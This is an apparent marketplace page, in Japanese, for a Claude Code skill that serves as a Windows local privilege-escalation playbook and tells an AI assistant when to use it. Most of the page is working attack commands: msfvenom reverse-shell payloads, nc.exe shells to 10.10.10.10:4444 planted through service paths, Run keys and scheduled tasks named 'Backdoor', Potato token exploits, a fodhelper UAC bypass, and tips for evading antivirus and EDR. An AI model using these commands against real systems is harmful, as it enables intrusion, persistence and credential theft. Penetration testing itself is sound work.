escalating-windows-privileges について
Windows のローカル権限昇格経路を列挙、評価するセキュリティスキルです。Windows のペネトレーションテスト向けに、サービス、DLL、レジストリ、トークン、UAC、タスク、認証情報の確認と手法をまとめています。
主な機能
- 01Windows システムの列挙
- 02サービスと DLL の悪用チェック
- 03レジストリとタスクの確認
- 04トークン操作と UAC バイパス
- 05自動列挙ツール
活用シーン
- 01ペネトレーションテストでの Windows ホスト評価
- 02サービス設定における権限昇格経路の特定
- 03トークン権限とスケジュールタスクの確認
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ trilwu/ secskills --skill escalating-windows-privilegesインストール後、Claude Code で/escalating-windows-privilegesを入力して読み込まれたか確認します。
同梱ファイルreferences/kernel-exploits-and-credential-access.md
詳細
Windows 権限昇格スキル
権限昇格手法を専門とする Windows セキュリティのエキスパートです。ユーザーから次の内容について支援を求められた場合に、このスキルを使用してください。
- Windows システムでの権限昇格
- Windows の設定ミスの悪用
- サービスの悪用と DLL ハイジャック
- トークンの操作と偽装
- レジストリの悪用
- UAC バイパス手法
- スケジュールされたタスクの悪用
- Windows 認証情報のダンプ
使用する場合
ユーザーが次の内容を求めた場合に、このスキルを有効にしてください。
- Windows システムでの権限昇格
- Windows の権限昇格ベクトルの列挙
- Windows サービスの設定ミスの悪用
- トークン操作攻撃の実行
- UAC のバイパス
- Windows 認証情報のダンプ
- Windows のセキュリティ設定ミスの分析
- Windows のペネトレーションテストの支援
使用しない場合
- Linux または macOS のホスト —
escalating-linux-privilegesを使用してください - ローカルではなくドメインの権限昇格 —
attacking-active-directoryを使用してください - 獲得したアクセスの維持 —
establishing-persistenceを使用してください - 防御側として権限昇格を調査する場合 —
responding-to-incidentsを使用してください
主な手法
1. 初期システム列挙
システム情報:
# Basic system info
systeminfo
hostname
whoami /all
ver
wmic os get Caption,CSDVersion,OSArchitecture,Version
# Users and groups
net user
net user <username>
net localgroup
net localgroup Administrators
whoami /priv
whoami /groups
PowerShell による列挙:
# System info
Get-ComputerInfo
Get-HotFix # Installed patches
Get-Service # Running services
# Current user privileges
$env:username
[Security.Principal.WindowsIdentity]::GetCurrent()
ネットワーク情報:
ipconfig /all
route print
arp -a
netstat -ano
netsh firewall show state
netsh firewall show config
2. サービスの悪用
サービスを列挙する:
# List services
sc query
sc query state= all
wmic service list brief
Get-Service
# Detailed service info
sc qc <service_name>
sc query <service_name>
# Service permissions
accesschk.exe -uwcqv "Authenticated Users" *
accesschk.exe -uwcqv %USERNAME% *
引用符で囲まれていないサービスパス:
# Find unquoted service paths
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
# PowerShell
Get-WmiObject Win32_Service | Where-Object {$_.PathName -notlike '*"*' -and $_.PathName -like '* *'} | Select Name,PathName,StartMode
# Exploit: Place malicious executable in path with spaces
# Example path: C:\Program Files\My Service\service.exe
# Create: C:\Program.exe (will execute before actual service)
サービスのアクセス許可が弱い場合:
# Check service permissions with accesschk
accesschk.exe -uwcqv "Everyone" *
accesschk.exe -uwcqv "Authenticated Users" *
accesschk.exe -uwcqv "Users" *
# Modify service binary path
sc config <service> binpath= "C:\Windows\Temp\nc.exe -nv 10.10.10.10 4444 -e cmd.exe"
sc stop <service>
sc start <service>
# Change service to run as SYSTEM
sc config <service> obj= "LocalSystem" password= ""
サービスバイナリのハイジャック:
# If you can replace service binary
# Create malicious executable
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe > evil.exe
# Replace original binary (if writable)
move C:\Path\To\Service\original.exe original.exe.bak
copy evil.exe C:\Path\To\Service\original.exe
# Restart service
sc stop <service>
sc start <service>
3. DLL ハイジャック
DLL の検索順序:
1. Application directory
2. System32 directory
3. System directory
4. Windows directory
5. Current directory
6. PATH directories
DLL ハイジャックの機会を見つける:
# Process Monitor (procmon) - filter for NAME NOT FOUND and path contains .dll
# Look for applications loading DLLs from writable directories
# PowerShell - find writable directories in PATH
$env:PATH -split ';' | ForEach-Object { if (Test-Path $_) { icacls $_ } }
悪意のある DLL を作成する:
# Generate DLL with msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f dll > evil.dll
# Place in writable directory that application loads from
# Wait for service/application restart
4. レジストリの悪用
自動実行キー:
# Check autorun registry keys
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
# PowerShell
Get-ItemProperty -Path 'HKLM:\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run'
# Modify if writable
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v backdoor /t REG_SZ /d "C:\Windows\Temp\nc.exe 10.10.10.10 4444 -e cmd.exe"
AlwaysInstallElevated:
# Check if both are set to 1
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# If both = 1, can install MSI as SYSTEM
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi > evil.msi
msiexec /quiet /qn /i C:\Temp\evil.msi
保存された認証情報:
# Check for saved credentials
cmdkey /list
# Use saved credentials
runas /savecred /user:admin cmd.exe
runas /savecred /user:DOMAIN\Administrator "C:\Temp\nc.exe 10.10.10.10 4444 -e cmd.exe"
5. トークン操作
トークンの偽装:
# Check for SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege
whoami /priv
# If enabled, use Potato exploits:
# - JuicyPotato (Windows 7-10, Server 2008-2016)
# - RoguePotato (Windows 10/Server 2019)
# - PrintSpoofer (Windows 10/Server 2016+)
JuicyPotato:
# Requires SeImpersonate or SeAssignPrimaryToken
JuicyPotato.exe -t * -p C:\Windows\System32\cmd.exe -l 1337 -a "/c C:\Temp\nc.exe 10.10.10.10 4444 -e cmd.exe"
# With specific CLSID
JuicyPotato.exe -t * -p cmd.exe -l 1337 -c {CLSID}
PrintSpoofer(最新の Windows):
# For Windows 10/Server 2016+
PrintSpoofer.exe -i -c cmd
PrintSpoofer.exe -c "C:\Temp\nc.exe 10.10.10.10 4444 -e cmd.exe"
GodPotato(最新):
# For Windows Server 2012+, Windows 8+
GodPotato.exe -cmd "cmd /c whoami"
GodPotato.exe -cmd "C:\Temp\nc.exe 10.10.10.10 4444 -e cmd.exe"
6. UAC バイパス
UAC レベルを確認する:
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
# ConsentPromptBehaviorAdmin = 0 (no UAC)
# ConsentPromptBehaviorAdmin = 5 (default UAC)
UAC バイパス手法:
# fodhelper.exe bypass (Windows 10)
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "cmd /c C:\Temp\nc.exe 10.10.10.10 4444 -e cmd.exe" -Force
Start-Process "C:\Windows\System32\fodhelper.exe"
# Cleanup
Remove-Item "HKCU:\Software\Classes\ms-settings" -Recurse -Force
# Disk Cleanup bypass (cleanmgr.exe)
# Event Viewer bypass (eventvwr.exe)
# Computer Management bypass (compmgmt.msc)
7. スケジュールされたタスク
タスクを列挙する:
# List scheduled tasks
schtasks /query /fo LIST /v
schtasks /query /fo TABLE /v
# PowerShell
Get-ScheduledTask
Get-ScheduledTask | Where-Object {$_.TaskPath -notlike "\Microsoft*"}
書き込み可能なタスクスクリプトを悪用する:
# If task runs script you can modify
echo C:\Temp\nc.exe 10.10.10.10 4444 -e cmd.exe > C:\Path\To\Task\script.bat
# Check task permissions
icacls C:\Path\To\Task\script.bat
悪意のあるタスクを作成する:
# Create task to run as SYSTEM
schtasks /create /tn "Backdoor" /tr "C:\Temp\nc.exe 10.10.10.10 4444 -e cmd.exe" /sc onstart /ru System
# Create task to run every minute
schtasks /create /tn "Backdoor" /tr "C:\Temp\nc.exe 10.10.10.10 4444 -e cmd.exe" /sc minute /mo 1 /ru System
8. カーネルの悪用と認証情報へのアクセス
足掛かりを得た後のカーネルの悪用と認証情報の収集については、専用のリファレンスに網羅的なコマンドカタログが用意されています。カーネルエクスプロイトの特定と推奨ツール、SAM/SYSTEM と LSASS のダンプ、ディスク上およびレジストリ内のパスワード検索、グループポリシー基本設定(GPP)の抽出を扱っています。references/kernel-exploits-and-credential-access.md を参照してください。
自動列挙ツール
WinPEAS:
# Download and run
winPEASx64.exe
winPEASx64.exe quiet
winPEASx64.exe systeminfo
PowerUp(PowerSploit):
Import-Module .\PowerUp.ps1
Invoke-AllChecks
Seatbelt:
Seatbelt.exe -group=all
Seatbelt.exe -group=system
Seatbelt.exe -group=user
SharpUp:
SharpUp.exe audit
PrivescCheck:
Import-Module .\PrivescCheck.ps1
Invoke-PrivescCheck
Invoke-PrivescCheck -Extended
転送するツール
必須バイナリ:
- winPEAS.exe - 自動列挙
- nc.exe - リバースシェル用の Netcat
- accesschk.exe - アクセス許可の確認
- PsExec.exe - 別のユーザーとして実行
- procdump.exe - プロセスメモリのダンプ
- mimikatz.exe - 認証情報のダンプ
- Rubeus.exe - Kerberos 攻撃
- PrintSpoofer.exe - トークンの偽装
- GodPotato.exe - トークンの偽装(最新)
PowerShell モジュール:
- PowerUp.ps1 - 権限昇格のチェック
- PowerView.ps1 - AD の列挙
- Invoke-Mimikatz.ps1 - メモリからの認証情報ダンプ
- PrivescCheck.ps1 - 詳細な列挙
トラブルシューティング
エクスプロイトが動作しない場合:
- Windows のバージョンがエクスプロイトの要件に合っているか確認してください
- アーキテクチャ(x86 と x64)を確認してください
- 必要なパッチがすべて適用されていないことを確認してください
- AV/EDR が実行をブロックしていないか確認してください
- 別のエクスプロイトのバリエーションを試してください
アクセスが拒否された場合:
- icacls でファイルおよびレジストリのアクセス許可を確認してください
- whoami /priv でユーザー権限を確認してください
- UAC によってブロックされていないことを確認してください(管理者として実行)
- 操作に SYSTEM レベルの権限が必要かどうか確認してください
AV/EDR のバイパス:
- ペイロードとスクリプトを難読化する
- メモリ内で実行する
- Windows Defender を無効にする(管理者の場合)
- 環境寄生型バイナリ(LOLBins)を使用する
参考資料
- references/kernel-exploits-and-credential-access.md — カーネルエクスプロイトと認証情報アクセスのコマンドカタログ(段階的開示)
- HackTricks Windows Privesc: https://github.com/HackTricks-wiki/hacktricks/tree/master/src/windows-hardening
- PEASS-ng (WinPEAS): https://github.com/carlospolop/PEASS-ng
- PowerSploit (PowerUp): https://github.com/PowerShellMafia/PowerSploit
- Windows Exploit Suggester: https://github.com/AonCyberLabs/Windows-Exploit-Suggester
- PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md
- LOLBAS Project: https://lolbas-project.github.io/
ATT&CK のカバレッジ
secskills-core/ttp-index.json から生成されています。ファイルを編集してから、
python3 scripts/sync_attack.py --write を実行してください。レポートで引用する前に、
ID が現在の ATT&CK リリースと一致していることを再確認してください。
実行(TA0002)
- T1047 Windows Management Instrumentation —
attacking-active-directoryも参照 - T1059.001 PowerShell —
analyzing-malwareも参照 - T1569 システムサービス —
attacking-active-directoryも参照
永続化(TA0003)
権限昇格(TA0004)
- T1055 プロセスインジェクション (検知回避にも該当) —
analyzing-malwareも参照 - T1068 権限昇格のためのエクスプロイト —
escalating-linux-privileges、exploiting-memory-corruptionも参照 - T1134 アクセストークンの操作 (検知回避にも該当)
- T1548 権限昇格制御メカニズムの悪用 (検知回避にも該当) —
escalating-linux-privilegesも参照 - T1548.002 ユーザーアカウント制御の回避
- T1574.001 DLL
検知回避(TA0005)
- T1218 システムバイナリのプロキシ実行 —
hunting-threatsも参照
認証情報アクセス(TA0006)
探索(TA0007)
- T1082 システム情報の探索 —
escalating-linux-privilegesも参照 - T1083 ファイルとディレクトリの探索 —
escalating-linux-privilegesも参照 - T1518 ソフトウェアの探索
これらに関する検知コンテンツ:engineering-detections。プロアクティブな調査:hunting-threats。侵害後の対応:responding-to-incidents。